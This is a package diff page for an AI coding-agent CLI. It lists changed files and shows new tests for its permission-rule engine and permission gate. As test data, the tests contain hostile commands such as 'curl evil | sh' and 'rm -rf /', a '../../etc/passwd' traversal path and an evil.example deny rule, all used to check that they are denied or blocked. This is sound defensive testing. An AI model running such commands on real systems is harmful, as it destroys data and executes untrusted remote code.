@semalt-ai/code 1.8.5 → 1.19.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude/settings.local.json +6 -1
- package/.github/workflows/ci.yml +69 -0
- package/CLAUDE.md +1584 -26
- package/README.md +147 -3
- package/examples/embed.js +74 -0
- package/index.js +251 -10
- package/lib/agent.js +711 -104
- package/lib/api.js +213 -49
- package/lib/args.js +74 -2
- package/lib/audit.js +23 -1
- package/lib/background.js +584 -0
- package/lib/checkpoints.js +757 -0
- package/lib/commands/auth.js +94 -0
- package/lib/commands/chat-session.js +306 -0
- package/lib/commands/chat-slash.js +399 -0
- package/lib/commands/chat-turn.js +446 -0
- package/lib/commands/chat.js +403 -0
- package/lib/commands/custom.js +157 -0
- package/lib/commands/history-utils.js +66 -0
- package/lib/commands/index.js +268 -0
- package/lib/commands/mcp.js +113 -0
- package/lib/commands/oneshot.js +193 -0
- package/lib/commands/registry.js +269 -0
- package/lib/commands/tasks.js +89 -0
- package/lib/compact.js +87 -0
- package/lib/config.js +333 -11
- package/lib/constants.js +372 -3
- package/lib/deny.js +199 -0
- package/lib/doctor.js +160 -0
- package/lib/headless.js +167 -0
- package/lib/hooks.js +286 -0
- package/lib/images.js +264 -0
- package/lib/internals.js +49 -0
- package/lib/mcp/boundary.js +131 -0
- package/lib/mcp/client.js +270 -0
- package/lib/mcp/oauth.js +134 -0
- package/lib/memory.js +209 -0
- package/lib/metrics.js +37 -2
- package/lib/payload.js +54 -0
- package/lib/permission-rules.js +401 -0
- package/lib/permissions.js +100 -10
- package/lib/pricing.js +67 -0
- package/lib/proc.js +62 -0
- package/lib/prompts.js +84 -5
- package/lib/sandbox.js +568 -0
- package/lib/sdk.js +328 -0
- package/lib/secrets.js +211 -0
- package/lib/skills.js +223 -0
- package/lib/subagents.js +516 -0
- package/lib/tool_registry.js +2558 -0
- package/lib/tool_specs.js +222 -2
- package/lib/tools.js +272 -1020
- package/lib/ui/format.js +22 -1
- package/lib/ui/input-field.js +16 -7
- package/lib/ui/status-bar.js +79 -11
- package/lib/ui/theme.js +1 -0
- package/lib/ui/web-activity.js +218 -0
- package/lib/verify.js +229 -0
- package/lib/web-extract.js +213 -0
- package/lib/web-summarize.js +68 -0
- package/package.json +19 -4
- package/scripts/lint.js +57 -0
- package/test/agent-loop.test.js +389 -0
- package/test/background.test.js +414 -0
- package/test/chat.test.js +114 -0
- package/test/checkpoints-agent.test.js +181 -0
- package/test/checkpoints.test.js +650 -0
- package/test/command-registry.test.js +160 -0
- package/test/compact.test.js +116 -0
- package/test/completion-lazy.test.js +52 -0
- package/test/config-merge.test.js +324 -0
- package/test/config-quarantine.test.js +128 -0
- package/test/config-write-guard-allow-anywhere.test.js +56 -0
- package/test/config-write-guard-skip.test.js +46 -0
- package/test/config-write-guard.test.js +153 -0
- package/test/context-split.test.js +215 -0
- package/test/cost-doctor.test.js +142 -0
- package/test/custom-commands-chat.test.js +106 -0
- package/test/custom-commands.test.js +230 -0
- package/test/deny-windows.test.js +120 -0
- package/test/deny.test.js +83 -0
- package/test/download-allow-anywhere.test.js +66 -0
- package/test/download-confine.test.js +153 -0
- package/test/executors.test.js +362 -0
- package/test/extract-tool-calls.test.js +315 -0
- package/test/fetch-url-validation.test.js +219 -0
- package/test/fixtures/tool-calls.js +57 -0
- package/test/fixtures/web-page.js +91 -0
- package/test/git-tools.test.js +384 -0
- package/test/grep-glob-serialize.test.js +242 -0
- package/test/grep-glob.test.js +268 -0
- package/test/harness/README.md +57 -0
- package/test/harness/chat-harness.js +142 -0
- package/test/harness/memwarn-headless-child.js +65 -0
- package/test/harness/mock-llm.js +120 -0
- package/test/harness/mock-mcp-server.js +142 -0
- package/test/harness/sse-server.js +69 -0
- package/test/headless.test.js +203 -0
- package/test/history-utils.test.js +88 -0
- package/test/hooks-agent.test.js +238 -0
- package/test/hooks-verify-sandbox.test.js +232 -0
- package/test/hooks.test.js +216 -0
- package/test/http-get-user-agent.test.js +142 -0
- package/test/images-api.test.js +208 -0
- package/test/images.test.js +238 -0
- package/test/max-iterations.test.js +216 -0
- package/test/mcp-boundary.test.js +57 -0
- package/test/mcp-client.test.js +267 -0
- package/test/mcp-oauth.test.js +86 -0
- package/test/memory-truncation-warning.test.js +222 -0
- package/test/memory.test.js +198 -0
- package/test/native-dispatch.test.js +356 -0
- package/test/output-chokepoint.test.js +188 -0
- package/test/path-guards.test.js +134 -0
- package/test/payload.test.js +99 -0
- package/test/permission-rules-agent.test.js +210 -0
- package/test/permission-rules.test.js +297 -0
- package/test/permissions.test.js +163 -0
- package/test/plan-mode.test.js +167 -0
- package/test/read-paginate.test.js +275 -0
- package/test/readonly-tools.test.js +177 -0
- package/test/result-cap.test.js +233 -0
- package/test/sandbox-agent.test.js +147 -0
- package/test/sandbox-integration.test.js +216 -0
- package/test/sandbox.test.js +408 -0
- package/test/sdk.test.js +234 -0
- package/test/shell-output-cap.test.js +181 -0
- package/test/skills-chat.test.js +110 -0
- package/test/skills.test.js +295 -0
- package/test/smoke.test.js +68 -0
- package/test/status-bar-pause.test.js +164 -0
- package/test/stream-parser.test.js +147 -0
- package/test/subagents-agent.test.js +178 -0
- package/test/subagents.test.js +222 -0
- package/test/tool-registry.test.js +85 -0
- package/test/trim-budget.test.js +101 -0
- package/test/verify-agent.test.js +317 -0
- package/test/verify.test.js +141 -0
- package/test/web-activity-ordering.test.js +194 -0
- package/test/web-activity.test.js +207 -0
- package/test/web-data-extraction-guidance.test.js +71 -0
- package/test/web-extract.test.js +185 -0
- package/test/web-fetch-agent.test.js +291 -0
- package/test/web-fetch-mode.test.js +193 -0
- package/test/web-search.test.js +380 -0
- package/lib/commands.js +0 -1438
|
@@ -0,0 +1,297 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
// Per-pattern permission rules (Task 4.1). Exhaustive + adversarial coverage of
|
|
4
|
+
// the pure rule engine. The six security constraints are each pinned by a named
|
|
5
|
+
// test below. Path canonicalization uses real temp dirs (incl. a symlink) so the
|
|
6
|
+
// `..` / symlink / absolute bypass attempts are exercised on the real filesystem.
|
|
7
|
+
|
|
8
|
+
const { test } = require('node:test');
|
|
9
|
+
const assert = require('node:assert');
|
|
10
|
+
const fs = require('fs');
|
|
11
|
+
const os = require('os');
|
|
12
|
+
const path = require('path');
|
|
13
|
+
|
|
14
|
+
const {
|
|
15
|
+
resolvePermission,
|
|
16
|
+
normalizeCall,
|
|
17
|
+
normalizeRule,
|
|
18
|
+
normalizeRuleLayer,
|
|
19
|
+
loadRuleLayers,
|
|
20
|
+
globToRegExp,
|
|
21
|
+
compileMatcher,
|
|
22
|
+
} = require('../lib/permission-rules');
|
|
23
|
+
|
|
24
|
+
// Compile a layered rule set the way the loader does, but inline for tests.
|
|
25
|
+
function layers({ user = [], project = [] } = {}, log) {
|
|
26
|
+
return {
|
|
27
|
+
user: normalizeRuleLayer(user, 'user', log),
|
|
28
|
+
project: normalizeRuleLayer(project, 'project', log),
|
|
29
|
+
};
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
// Resolve a raw call directly: normalize → resolve. cwd defaults so file paths
|
|
33
|
+
// canonicalize predictably.
|
|
34
|
+
function decide(call, ruleSpec, cwd) {
|
|
35
|
+
const norm = normalizeCall(call, { cwd: cwd || process.cwd() });
|
|
36
|
+
return resolvePermission(norm, layers(ruleSpec)).decision;
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
// ── compilation primitives ─────────────────────────────────────────────────
|
|
40
|
+
|
|
41
|
+
test('globToRegExp: * is segment-aware for paths, ** crosses separators', () => {
|
|
42
|
+
assert.ok(globToRegExp('src/*', { crossSep: false }).test('src/a.js'));
|
|
43
|
+
assert.ok(!globToRegExp('src/*', { crossSep: false }).test('src/a/b.js'));
|
|
44
|
+
assert.ok(globToRegExp('src/**', { crossSep: false }).test('src/a/b.js'));
|
|
45
|
+
assert.ok(globToRegExp('**/*.env', { crossSep: false }).test('a/b/x.env'));
|
|
46
|
+
assert.ok(globToRegExp('**/*.env', { crossSep: false }).test('x.env'));
|
|
47
|
+
});
|
|
48
|
+
|
|
49
|
+
test('globToRegExp: greedy * for commands crosses everything', () => {
|
|
50
|
+
assert.ok(globToRegExp('git *', { crossSep: true }).test('git log --oneline a/b'));
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
test('compileMatcher distinguishes regex (/.../) from glob by syntax', () => {
|
|
54
|
+
assert.strictEqual(compileMatcher('git *', true).kind, 'glob');
|
|
55
|
+
assert.strictEqual(compileMatcher('/curl/', true).kind, 'regex');
|
|
56
|
+
assert.strictEqual(compileMatcher('*', true).kind, 'any');
|
|
57
|
+
assert.strictEqual(compileMatcher(null, true).kind, 'any');
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
test('compileMatcher: more literal chars ⇒ higher specificity', () => {
|
|
61
|
+
assert.ok(compileMatcher('git push *', true).specificity > compileMatcher('git *', true).specificity);
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
// ── rule normalization / fail-closed at load (constraint 5) ─────────────────
|
|
65
|
+
|
|
66
|
+
test('malformed rules are dropped at load (fail closed), valid ones kept', () => {
|
|
67
|
+
const dropped = [];
|
|
68
|
+
const out = normalizeRuleLayer([
|
|
69
|
+
{ tool: 'shell', action: 'allow', pattern: 'git *' }, // ok
|
|
70
|
+
{ tool: 'shell', action: 'banana' }, // bad action
|
|
71
|
+
{ action: 'allow', pattern: '*' }, // missing tool
|
|
72
|
+
{ tool: 'shell', action: 'deny', pattern: 'a', path: 'b' }, // ambiguous matcher
|
|
73
|
+
'not-an-object', // wrong type
|
|
74
|
+
], 'user', (m) => dropped.push(m));
|
|
75
|
+
assert.strictEqual(out.length, 1, 'only the one valid rule survives');
|
|
76
|
+
assert.strictEqual(out[0].tool, 'shell');
|
|
77
|
+
assert.strictEqual(dropped.length, 4, 'each malformed rule logged');
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
test('an unparseable / unsafe regex pattern is dropped at load (fail closed)', () => {
|
|
81
|
+
const dropped = [];
|
|
82
|
+
const out = normalizeRuleLayer([
|
|
83
|
+
{ tool: 'shell', action: 'deny', pattern: '/(a+)+$/' }, // catastrophic backtracking
|
|
84
|
+
{ tool: 'shell', action: 'deny', pattern: '/[unterminated/' }, // invalid regex
|
|
85
|
+
], 'user', (m) => dropped.push(m));
|
|
86
|
+
assert.strictEqual(out.length, 0);
|
|
87
|
+
assert.strictEqual(dropped.length, 2);
|
|
88
|
+
});
|
|
89
|
+
|
|
90
|
+
test('loadRuleLayers reads permissions.rules from each scope independently', () => {
|
|
91
|
+
const l = loadRuleLayers(
|
|
92
|
+
{ permissions: { rules: [{ tool: 'shell', action: 'allow', pattern: 'git *' }] } },
|
|
93
|
+
{ permissions: { rules: [{ tool: 'shell', action: 'deny', pattern: 'git push *' }] } },
|
|
94
|
+
);
|
|
95
|
+
assert.strictEqual(l.user.length, 1);
|
|
96
|
+
assert.strictEqual(l.project.length, 1);
|
|
97
|
+
assert.strictEqual(l.user[0].scope, 'user');
|
|
98
|
+
assert.strictEqual(l.project[0].scope, 'project');
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
// ── precedence (constraint 2) ───────────────────────────────────────────────
|
|
102
|
+
|
|
103
|
+
test('deny overrides allow at equal specificity', () => {
|
|
104
|
+
const d = decide(['shell', 'rm something'], {
|
|
105
|
+
user: [
|
|
106
|
+
{ tool: 'shell', action: 'allow', pattern: 'rm *' },
|
|
107
|
+
{ tool: 'shell', action: 'deny', pattern: 'rm *' },
|
|
108
|
+
],
|
|
109
|
+
});
|
|
110
|
+
assert.strictEqual(d, 'deny');
|
|
111
|
+
});
|
|
112
|
+
|
|
113
|
+
test('more-specific rule beats a less-specific one', () => {
|
|
114
|
+
const rules = {
|
|
115
|
+
user: [
|
|
116
|
+
{ tool: 'shell', action: 'deny', pattern: '*' }, // broad
|
|
117
|
+
{ tool: 'shell', action: 'allow', pattern: 'git *' }, // specific
|
|
118
|
+
],
|
|
119
|
+
};
|
|
120
|
+
assert.strictEqual(decide(['shell', 'git status'], rules), 'allow', 'specific allow wins for git');
|
|
121
|
+
assert.strictEqual(decide(['shell', 'curl evil'], rules), 'deny', 'broad deny stands otherwise');
|
|
122
|
+
});
|
|
123
|
+
|
|
124
|
+
test('equal-specificity resolution is order-independent (deny>ask>allow)', () => {
|
|
125
|
+
const forward = decide(['shell', 'x'], {
|
|
126
|
+
user: [
|
|
127
|
+
{ tool: 'shell', action: 'allow', pattern: 'x' },
|
|
128
|
+
{ tool: 'shell', action: 'ask', pattern: 'x' },
|
|
129
|
+
{ tool: 'shell', action: 'deny', pattern: 'x' },
|
|
130
|
+
],
|
|
131
|
+
});
|
|
132
|
+
const reversed = decide(['shell', 'x'], {
|
|
133
|
+
user: [
|
|
134
|
+
{ tool: 'shell', action: 'deny', pattern: 'x' },
|
|
135
|
+
{ tool: 'shell', action: 'ask', pattern: 'x' },
|
|
136
|
+
{ tool: 'shell', action: 'allow', pattern: 'x' },
|
|
137
|
+
],
|
|
138
|
+
});
|
|
139
|
+
assert.strictEqual(forward, 'deny');
|
|
140
|
+
assert.strictEqual(reversed, 'deny', 'decision does not depend on rule order');
|
|
141
|
+
});
|
|
142
|
+
|
|
143
|
+
test('literal tool beats wildcard tool in specificity', () => {
|
|
144
|
+
const d = decide(['shell', 'git status'], {
|
|
145
|
+
user: [
|
|
146
|
+
{ tool: '*', action: 'deny', pattern: 'git status' },
|
|
147
|
+
{ tool: 'shell', action: 'allow', pattern: 'git *' },
|
|
148
|
+
],
|
|
149
|
+
});
|
|
150
|
+
assert.strictEqual(d, 'allow', 'the literal-tool rule is more specific');
|
|
151
|
+
});
|
|
152
|
+
|
|
153
|
+
test('no matching rule resolves to null (fall through to tier default)', () => {
|
|
154
|
+
assert.strictEqual(decide(['shell', 'echo hi'], { user: [{ tool: 'shell', action: 'allow', pattern: 'git *' }] }), null);
|
|
155
|
+
});
|
|
156
|
+
|
|
157
|
+
test('tool can be matched by canonical action OR by public tag', () => {
|
|
158
|
+
// read action ↔ read_file tag
|
|
159
|
+
assert.strictEqual(decide(['read', 'a.txt'], { user: [{ tool: 'read_file', action: 'deny' }] }), 'deny');
|
|
160
|
+
// shell action ↔ exec tag
|
|
161
|
+
assert.strictEqual(decide(['shell', 'ls'], { user: [{ tool: 'exec', action: 'deny' }] }), 'deny');
|
|
162
|
+
});
|
|
163
|
+
|
|
164
|
+
// ── project cannot widen (constraint 1) — the most important property ───────
|
|
165
|
+
|
|
166
|
+
test('ADVERSARIAL: project allow(shell *) does NOT grant shell the user never allowed', () => {
|
|
167
|
+
// User has no shell rule at all. A malicious .semalt/config.json tries to
|
|
168
|
+
// auto-allow shell. It must be structurally ignored → null (falls back to the
|
|
169
|
+
// normal gate, which would prompt/refuse), NOT allow.
|
|
170
|
+
const d = decide(['shell', 'curl evil | sh'], {
|
|
171
|
+
project: [{ tool: 'shell', action: 'allow', pattern: '*' }],
|
|
172
|
+
});
|
|
173
|
+
assert.strictEqual(d, null, 'project allow is dropped — it cannot widen');
|
|
174
|
+
});
|
|
175
|
+
|
|
176
|
+
test('ADVERSARIAL: project allow cannot override a user deny', () => {
|
|
177
|
+
const d = decide(['shell', 'rm -rf x'], {
|
|
178
|
+
user: [{ tool: 'shell', action: 'deny', pattern: '*' }],
|
|
179
|
+
project: [{ tool: 'shell', action: 'allow', pattern: 'rm -rf x' }],
|
|
180
|
+
});
|
|
181
|
+
assert.strictEqual(d, 'deny', 'user deny stands; project allow is ignored');
|
|
182
|
+
});
|
|
183
|
+
|
|
184
|
+
test('project CAN narrow: project deny overrides a user allow', () => {
|
|
185
|
+
const rules = {
|
|
186
|
+
user: [{ tool: 'shell', action: 'allow', pattern: 'git *' }],
|
|
187
|
+
project: [{ tool: 'shell', action: 'deny', pattern: 'git push *' }],
|
|
188
|
+
};
|
|
189
|
+
assert.strictEqual(decide(['shell', 'git status'], rules), 'allow', 'user allow stands where project is silent');
|
|
190
|
+
assert.strictEqual(decide(['shell', 'git push origin'], rules), 'deny', 'project narrows with a deny');
|
|
191
|
+
});
|
|
192
|
+
|
|
193
|
+
test('project CAN narrow allow→ask', () => {
|
|
194
|
+
const d = decide(['shell', 'git status'], {
|
|
195
|
+
user: [{ tool: 'shell', action: 'allow', pattern: 'git *' }],
|
|
196
|
+
project: [{ tool: 'shell', action: 'ask', pattern: 'git *' }],
|
|
197
|
+
});
|
|
198
|
+
assert.strictEqual(d, 'ask');
|
|
199
|
+
});
|
|
200
|
+
|
|
201
|
+
test('across layers the MOST RESTRICTIVE decision wins', () => {
|
|
202
|
+
// user ask + project deny → deny
|
|
203
|
+
assert.strictEqual(decide(['shell', 'x'], {
|
|
204
|
+
user: [{ tool: 'shell', action: 'ask', pattern: 'x' }],
|
|
205
|
+
project: [{ tool: 'shell', action: 'deny', pattern: 'x' }],
|
|
206
|
+
}), 'deny');
|
|
207
|
+
// user deny + project ask → deny (user already more restrictive)
|
|
208
|
+
assert.strictEqual(decide(['shell', 'x'], {
|
|
209
|
+
user: [{ tool: 'shell', action: 'deny', pattern: 'x' }],
|
|
210
|
+
project: [{ tool: 'shell', action: 'ask', pattern: 'x' }],
|
|
211
|
+
}), 'deny');
|
|
212
|
+
});
|
|
213
|
+
|
|
214
|
+
// ── canonicalization / bypass attempts (constraint 3) ───────────────────────
|
|
215
|
+
|
|
216
|
+
test('ADVERSARIAL: .. traversal cannot satisfy an allow scoped to src/**', () => {
|
|
217
|
+
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'perm-canon-'));
|
|
218
|
+
try {
|
|
219
|
+
const rules = { user: [{ tool: 'write_file', action: 'allow', path: 'src/**' }] };
|
|
220
|
+
// A legit in-scope write is allowed.
|
|
221
|
+
assert.strictEqual(decide(['write', 'src/app.js', 'x'], rules, tmp), 'allow');
|
|
222
|
+
// The bypass attempt canonicalizes to outside src/ → allow does NOT apply.
|
|
223
|
+
assert.strictEqual(decide(['write', 'src/../../etc/passwd', 'x'], rules, tmp), null,
|
|
224
|
+
'canonical path escapes src/**, so the allow rule cannot match it');
|
|
225
|
+
} finally {
|
|
226
|
+
fs.rmSync(tmp, { recursive: true, force: true });
|
|
227
|
+
}
|
|
228
|
+
});
|
|
229
|
+
|
|
230
|
+
test('ADVERSARIAL: a symlink is matched on its real (canonical) target', () => {
|
|
231
|
+
const tmp = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'perm-symlink-')));
|
|
232
|
+
try {
|
|
233
|
+
const secretDir = path.join(tmp, 'secret');
|
|
234
|
+
fs.mkdirSync(secretDir);
|
|
235
|
+
const secret = path.join(secretDir, 'creds.txt');
|
|
236
|
+
fs.writeFileSync(secret, 'token');
|
|
237
|
+
const link = path.join(tmp, 'innocent.txt');
|
|
238
|
+
fs.symlinkSync(secret, link);
|
|
239
|
+
|
|
240
|
+
// Deny anything whose real path lands under secret/.
|
|
241
|
+
const rules = { user: [{ tool: 'read', action: 'deny', path: '**/secret/**' }] };
|
|
242
|
+
// Reading via the symlink resolves to .../secret/creds.txt and is denied.
|
|
243
|
+
assert.strictEqual(decide(['read', link], rules, tmp), 'deny',
|
|
244
|
+
'the symlink resolves to its target, which the deny rule matches');
|
|
245
|
+
} finally {
|
|
246
|
+
fs.rmSync(tmp, { recursive: true, force: true });
|
|
247
|
+
}
|
|
248
|
+
});
|
|
249
|
+
|
|
250
|
+
test('absolute-path rules match the canonical absolute form', () => {
|
|
251
|
+
const tmp = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'perm-abs-')));
|
|
252
|
+
try {
|
|
253
|
+
const abs = path.join(tmp, 'a', 'b.txt');
|
|
254
|
+
const rules = { user: [{ tool: 'write_file', action: 'deny', path: tmp + '/**' }] };
|
|
255
|
+
assert.strictEqual(decide(['write', abs, 'x'], rules, tmp), 'deny');
|
|
256
|
+
} finally {
|
|
257
|
+
fs.rmSync(tmp, { recursive: true, force: true });
|
|
258
|
+
}
|
|
259
|
+
});
|
|
260
|
+
|
|
261
|
+
// ── regex error fails closed at runtime (constraint 4/5) ────────────────────
|
|
262
|
+
|
|
263
|
+
test('a matcher that throws at runtime never GRANTS but still RESTRICTS', () => {
|
|
264
|
+
// Hand-build rules with a matcher whose test() throws, to simulate a runtime
|
|
265
|
+
// failure that slipped past load-time validation.
|
|
266
|
+
const boom = { kind: 'regex', specificity: 5, test: () => { throw new Error('redos'); } };
|
|
267
|
+
const allowRule = { scope: 'user', tool: 'shell', toolMatcher: globToRegExp('shell', { crossSep: true }), matcher: boom, action: 'allow', specificity: 1005, source: '/x/', matcherKey: 'pattern' };
|
|
268
|
+
const denyRule = { ...allowRule, action: 'deny' };
|
|
269
|
+
const call = normalizeCall(['shell', 'anything']);
|
|
270
|
+
|
|
271
|
+
// Erroring allow ⇒ treated as no-match ⇒ no decision (does not grant).
|
|
272
|
+
assert.strictEqual(resolvePermission(call, { user: [allowRule], project: [] }).decision, null);
|
|
273
|
+
// Erroring deny ⇒ treated as a match ⇒ still denies.
|
|
274
|
+
assert.strictEqual(resolvePermission(call, { user: [denyRule], project: [] }).decision, 'deny');
|
|
275
|
+
});
|
|
276
|
+
|
|
277
|
+
// ── reason surfacing ────────────────────────────────────────────────────────
|
|
278
|
+
|
|
279
|
+
test('resolvePermission reports the deciding rule for debug/audit', () => {
|
|
280
|
+
const norm = normalizeCall(['shell', 'rm -rf /']);
|
|
281
|
+
const v = resolvePermission(norm, layers({ user: [{ tool: 'shell', action: 'deny', pattern: 'rm -rf *' }] }));
|
|
282
|
+
assert.strictEqual(v.decision, 'deny');
|
|
283
|
+
assert.match(v.reason, /^user deny shell/);
|
|
284
|
+
assert.strictEqual(v.scope, 'user');
|
|
285
|
+
});
|
|
286
|
+
|
|
287
|
+
// ── net + tool-only rules ───────────────────────────────────────────────────
|
|
288
|
+
|
|
289
|
+
test('url rules match http_get / download URLs', () => {
|
|
290
|
+
assert.strictEqual(decide(['http_get', 'https://evil.example/x'], {
|
|
291
|
+
user: [{ tool: 'http_get', action: 'deny', url: 'https://evil.example/*' }],
|
|
292
|
+
}), 'deny');
|
|
293
|
+
});
|
|
294
|
+
|
|
295
|
+
test('tool-only rule (no matcher) matches every call of that tool', () => {
|
|
296
|
+
assert.strictEqual(decide(['set_env', 'FOO', 'bar'], { user: [{ tool: 'set_env', action: 'deny' }] }), 'deny');
|
|
297
|
+
});
|
|
@@ -0,0 +1,163 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
// Characterization tests for the permission gate (Task 1.1).
|
|
4
|
+
// Focus on the deterministic, non-interactive decision paths:
|
|
5
|
+
// --dangerously-skip-permissions, auto-approve-all, tier pre-approval,
|
|
6
|
+
// the non-TTY refusal, and the --readonly block. The interactive picker
|
|
7
|
+
// paths require a live TTY/modal and are exercised by the 1.2 harness instead.
|
|
8
|
+
|
|
9
|
+
const { test } = require('node:test');
|
|
10
|
+
const assert = require('node:assert');
|
|
11
|
+
|
|
12
|
+
const {
|
|
13
|
+
createPermissionManager,
|
|
14
|
+
TIER_FS,
|
|
15
|
+
TIER_EXEC,
|
|
16
|
+
TIER_NET,
|
|
17
|
+
TIER_SYS,
|
|
18
|
+
} = require('../lib/permissions');
|
|
19
|
+
|
|
20
|
+
// Minimal ui: interactiveSelect throws so any accidental fall-through to the
|
|
21
|
+
// interactive path fails loudly instead of hanging on stdin.
|
|
22
|
+
const uiStub = {
|
|
23
|
+
BOLD: '', FG_CYAN: '', FG_DARK: '', FG_GRAY: '', FG_GREEN: '', FG_RED: '', FG_YELLOW: '', RST: '',
|
|
24
|
+
interactiveSelect: async () => { throw new Error('interactiveSelect must not be reached here'); },
|
|
25
|
+
};
|
|
26
|
+
|
|
27
|
+
// Run fn with stdout/stdin forced non-TTY, then restore. Guarantees the
|
|
28
|
+
// "refuse in headless mode" branch regardless of how the suite is launched.
|
|
29
|
+
async function withNonTTY(fn) {
|
|
30
|
+
const outPrev = process.stdout.isTTY;
|
|
31
|
+
const inPrev = process.stdin.isTTY;
|
|
32
|
+
process.stdout.isTTY = false;
|
|
33
|
+
process.stdin.isTTY = false;
|
|
34
|
+
try {
|
|
35
|
+
return await fn();
|
|
36
|
+
} finally {
|
|
37
|
+
process.stdout.isTTY = outPrev;
|
|
38
|
+
process.stdin.isTTY = inPrev;
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
test('--dangerously-skip-permissions auto-approves any tool call', async () => {
|
|
43
|
+
const pm = createPermissionManager(uiStub, { skipPermissions: true });
|
|
44
|
+
assert.strictEqual(await pm.askPermission('exec', 'rm stuff', 'exec'), true);
|
|
45
|
+
assert.strictEqual(await pm.askPermission('file', 'write a file', 'write_file'), true);
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
test('toggleAll enables/disables session-wide auto-approve', async () => {
|
|
49
|
+
const pm = createPermissionManager(uiStub, {});
|
|
50
|
+
assert.strictEqual(pm.toggleAll(), true, 'first toggle turns it on');
|
|
51
|
+
assert.strictEqual(await pm.askPermission('exec', 'anything', 'exec'), true);
|
|
52
|
+
assert.strictEqual(pm.toggleAll(), false, 'second toggle turns it off');
|
|
53
|
+
await withNonTTY(async () => {
|
|
54
|
+
assert.strictEqual(await pm.askPermission('exec', 'anything', 'exec'), false);
|
|
55
|
+
});
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
test('tier flags pre-approve only their own tags', async () => {
|
|
59
|
+
const pm = createPermissionManager(uiStub, { allowedTiers: ['exec'] });
|
|
60
|
+
// exec tier → 'exec' tag approved without prompting.
|
|
61
|
+
assert.strictEqual(await pm.askPermission('exec', 'run', 'exec'), true);
|
|
62
|
+
// A net-tier tag is NOT covered by the exec flag, so it refuses headless.
|
|
63
|
+
await withNonTTY(async () => {
|
|
64
|
+
assert.strictEqual(await pm.askPermission('net', 'fetch', 'http_get'), false);
|
|
65
|
+
});
|
|
66
|
+
});
|
|
67
|
+
|
|
68
|
+
test('fs tier flag pre-approves a representative fs tag', async () => {
|
|
69
|
+
const pm = createPermissionManager(uiStub, { allowedTiers: ['fs'] });
|
|
70
|
+
assert.strictEqual(await pm.askPermission('file', 'write', 'write_file'), true);
|
|
71
|
+
});
|
|
72
|
+
|
|
73
|
+
test('headless mode refuses (does not silently auto-approve) without a flag', async () => {
|
|
74
|
+
const pm = createPermissionManager(uiStub, {});
|
|
75
|
+
await withNonTTY(async () => {
|
|
76
|
+
assert.strictEqual(await pm.askPermission('file', 'write', 'write_file'), false);
|
|
77
|
+
assert.strictEqual(await pm.askPermission('exec', 'run', 'exec'), false);
|
|
78
|
+
});
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
test('readonlyBlock blocks write-class tags only when --readonly is set', () => {
|
|
82
|
+
const ro = createPermissionManager(uiStub, { readonly: true });
|
|
83
|
+
assert.deepStrictEqual(ro.readonlyBlock('write_file'), { error: 'blocked by --readonly' });
|
|
84
|
+
assert.deepStrictEqual(ro.readonlyBlock('append_file'), { error: 'blocked by --readonly' });
|
|
85
|
+
assert.deepStrictEqual(ro.readonlyBlock('delete_file'), { error: 'blocked by --readonly' });
|
|
86
|
+
// Read-class operations are allowed even in readonly mode.
|
|
87
|
+
assert.strictEqual(ro.readonlyBlock('read_file'), null);
|
|
88
|
+
assert.strictEqual(ro.readonlyBlock('list_dir'), null);
|
|
89
|
+
|
|
90
|
+
const rw = createPermissionManager(uiStub, {});
|
|
91
|
+
assert.strictEqual(rw.readonlyBlock('write_file'), null, 'no block when not readonly');
|
|
92
|
+
});
|
|
93
|
+
|
|
94
|
+
// Force a TTY so askPermission reaches the interactive uiCallbacks path (the
|
|
95
|
+
// non-TTY refusal short-circuits before it).
|
|
96
|
+
async function withTTY(fn) {
|
|
97
|
+
const outPrev = process.stdout.isTTY;
|
|
98
|
+
const inPrev = process.stdin.isTTY;
|
|
99
|
+
process.stdout.isTTY = true;
|
|
100
|
+
process.stdin.isTTY = true;
|
|
101
|
+
try {
|
|
102
|
+
return await fn();
|
|
103
|
+
} finally {
|
|
104
|
+
process.stdout.isTTY = outPrev;
|
|
105
|
+
process.stdin.isTTY = inPrev;
|
|
106
|
+
}
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
// Drives the modal navigation handler with a scripted sequence of actions.
|
|
110
|
+
function uiCallbacksThatPick(actions) {
|
|
111
|
+
return {
|
|
112
|
+
onShowModal: () => {},
|
|
113
|
+
onCloseModal: () => {},
|
|
114
|
+
onAddMessage: () => {},
|
|
115
|
+
onCaptureNavigation: (handler) => {
|
|
116
|
+
// Replay asynchronously so requestPermission has returned its release fn.
|
|
117
|
+
setImmediate(() => { for (const a of actions) handler(a); });
|
|
118
|
+
return () => {};
|
|
119
|
+
},
|
|
120
|
+
};
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
test('interactive "Always" approval pins the tag for the rest of the session', async () => {
|
|
124
|
+
await withTTY(async () => {
|
|
125
|
+
const pm = createPermissionManager(uiStub, {});
|
|
126
|
+
pm.setUICallbacks(uiCallbacksThatPick(['next', 'select'])); // Yes → Always
|
|
127
|
+
const first = await pm.askPermission('exec', 'run once', 'exec');
|
|
128
|
+
assert.strictEqual(first, true);
|
|
129
|
+
assert.ok(pm.state.sessionApprovedTags.has('exec'), 'tag remembered for the session');
|
|
130
|
+
|
|
131
|
+
// Second call is auto-approved by the remembered tag — no modal needed, so a
|
|
132
|
+
// throwing nav handler would never be reached.
|
|
133
|
+
pm.setUICallbacks(uiCallbacksThatPick([])); // would never fire
|
|
134
|
+
const second = await pm.askPermission('exec', 'run again', 'exec');
|
|
135
|
+
assert.strictEqual(second, true);
|
